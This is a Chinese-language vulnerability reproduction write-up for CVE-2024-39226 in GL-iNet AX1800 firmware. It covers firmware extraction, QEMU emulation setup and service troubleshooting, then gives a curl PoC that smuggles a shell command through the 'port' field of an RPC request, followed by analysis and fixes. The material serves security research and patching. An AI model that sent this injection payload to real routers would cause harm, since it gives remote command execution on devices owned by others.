GL-iNet 路由器 CVE-2024-39226漏洞复现
字数 1395 2025-08-29 22:41:10

GL-iNet路由器CVE-2024-39226漏洞复现与分析

1. 漏洞概述

CVE-2024-39226是GL-iNet路由器中的一个RPC漏洞,存在于s2s.so模块中,允许通过精心构造的请求实现命令注入攻击。该漏洞特别危险,因为它可以通过网络接口触发,可能导致远程代码执行。

2. 环境准备

2.1 固件获取与提取

  1. 下载GL-iNet AX1800固件:

    https://fw.gl-inet.cn/firmware/ax1800/v4/openwrt-ax1800-4.5.16-0321-1711030388.tar
    
  2. 使用binwalk提取固件:

    binwalk -e openwrt-ax1800-4.5.16-0321-1711030388.tar
    
  3. 确认文件架构为ARM架构

2.2 QEMU模拟环境搭建

2.2.1 下载预构建的QEMU镜像

从Debian Quick Image Baker获取armhf-virt镜像:

  • 内核文件:vmlinuz-3.2.0-4-vexpress
  • RAM磁盘映像:initrd.img-3.2.0-4-vexpress
  • 虚拟磁盘映像:debian_wheezy_armhf_standard.qcow2

下载命令:

wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2

2.2.2 解决常见问题

  1. 映像大小问题

    • QEMU要求SD卡大小必须是2的幂
    • 将映像大小调整为32GiB
  2. 挂载错误

    • 确保正确挂载/proc和/dev文件系统
    • 这些挂载点提供了与内核和硬件设备交互的关键接口

2.2.3 网络配置

  1. 在宿主机中搭建网卡,使QEMU和宿主机可以通信
  2. 配置QEMU虚拟系统的路由
  3. 使用net.sh脚本配置网络

3. 漏洞复现步骤

3.1 环境准备

  1. 将提取的squashfs-root文件夹上传到QEMU系统中:

    scp -r squashfs-root root@192.168.100.2:/root/
    
  2. 挂载必要的文件系统:

    mount -t proc /proc ./proc
    mount -t devtmpfs /dev ./dev
    

3.2 服务配置

  1. 启动nginx服务:

    /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
    
  2. 解决常见问题:

    • 手动创建缺少的文件
    • 检查/etc/rc.d/S80nginx和/etc/uci-defaults/80_nginx-oui配置文件

3.3 漏洞验证

  1. 使用披露的PoC进行验证:

    curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
    
  2. 检查命令是否执行成功:

    ls /root/test
    

3.4 问题排查

  1. RPC报错

    • 检查rpc.lua代码
    • 确保ubus服务正常运行
    • 启动ubusd服务:/sbin/ubusd
  2. Nginx日志分析

    • 检查/etc/nginx/nginx.conf配置
    • 查看错误日志:/var/log/nginx/error.log
    • 常见错误:/var/run/ngx-ubus-proxy.sock failed/var/run/fcgiwrap.socket failed
  3. 服务启动

    • 确保ubus和fcgiwrap服务同时启动

4. 漏洞分析

4.1 漏洞原理

  1. 漏洞位于s2s.so模块中
  2. 攻击者可以控制输入字符串(str)
  3. 端口号(port)被限制为正数且小于65534
  4. 但在字符串形式下,允许嵌入特殊字符如$()
  5. 当包含类似7 $(touch /root/test)的字符串时,shell会执行其中的命令

4.2 代码分析

  1. RPC处理流程

    • 创建会话管理
    • 如果ubus.call调用成功则返回会话信息
    • 失败则返回默认的本地会话(无会话信息)
  2. 关键限制

    • 端口号必须为正整数且小于65534
    • 但字符串形式的端口号未进行充分过滤

5. 修复建议

  1. 对端口号输入进行严格过滤,禁止特殊字符
  2. 使用白名单方式验证输入
  3. 更新到GL-iNet发布的最新固件版本

6. 参考文献

  1. GL-iNet官方固件下载地址
  2. Debian Quick Image Baker文档
  3. QEMU官方文档
  4. OpenWRT相关技术文档
GL-iNet路由器CVE-2024-39226漏洞复现与分析 1. 漏洞概述 CVE-2024-39226是GL-iNet路由器中的一个RPC漏洞,存在于s2s.so模块中,允许通过精心构造的请求实现命令注入攻击。该漏洞特别危险,因为它可以通过网络接口触发,可能导致远程代码执行。 2. 环境准备 2.1 固件获取与提取 下载GL-iNet AX1800固件: 使用binwalk提取固件: 确认文件架构为ARM架构 2.2 QEMU模拟环境搭建 2.2.1 下载预构建的QEMU镜像 从Debian Quick Image Baker获取armhf-virt镜像: 内核文件: vmlinuz-3.2.0-4-vexpress RAM磁盘映像: initrd.img-3.2.0-4-vexpress 虚拟磁盘映像: debian_wheezy_armhf_standard.qcow2 下载命令: 2.2.2 解决常见问题 映像大小问题 : QEMU要求SD卡大小必须是2的幂 将映像大小调整为32GiB 挂载错误 : 确保正确挂载/proc和/dev文件系统 这些挂载点提供了与内核和硬件设备交互的关键接口 2.2.3 网络配置 在宿主机中搭建网卡,使QEMU和宿主机可以通信 配置QEMU虚拟系统的路由 使用net.sh脚本配置网络 3. 漏洞复现步骤 3.1 环境准备 将提取的squashfs-root文件夹上传到QEMU系统中: 挂载必要的文件系统: 3.2 服务配置 启动nginx服务: 解决常见问题: 手动创建缺少的文件 检查/etc/rc.d/S80nginx和/etc/uci-defaults/80_ nginx-oui配置文件 3.3 漏洞验证 使用披露的PoC进行验证: 检查命令是否执行成功: 3.4 问题排查 RPC报错 : 检查rpc.lua代码 确保ubus服务正常运行 启动ubusd服务: /sbin/ubusd Nginx日志分析 : 检查/etc/nginx/nginx.conf配置 查看错误日志: /var/log/nginx/error.log 常见错误: /var/run/ngx-ubus-proxy.sock failed 或 /var/run/fcgiwrap.socket failed 服务启动 : 确保ubus和fcgiwrap服务同时启动 4. 漏洞分析 4.1 漏洞原理 漏洞位于s2s.so模块中 攻击者可以控制输入字符串(str) 端口号(port)被限制为正数且小于65534 但在字符串形式下,允许嵌入特殊字符如 $() 当包含类似 7 $(touch /root/test) 的字符串时,shell会执行其中的命令 4.2 代码分析 RPC处理流程 : 创建会话管理 如果ubus.call调用成功则返回会话信息 失败则返回默认的本地会话(无会话信息) 关键限制 : 端口号必须为正整数且小于65534 但字符串形式的端口号未进行充分过滤 5. 修复建议 对端口号输入进行严格过滤,禁止特殊字符 使用白名单方式验证输入 更新到GL-iNet发布的最新固件版本 6. 参考文献 GL-iNet官方固件下载地址 Debian Quick Image Baker文档 QEMU官方文档 OpenWRT相关技术文档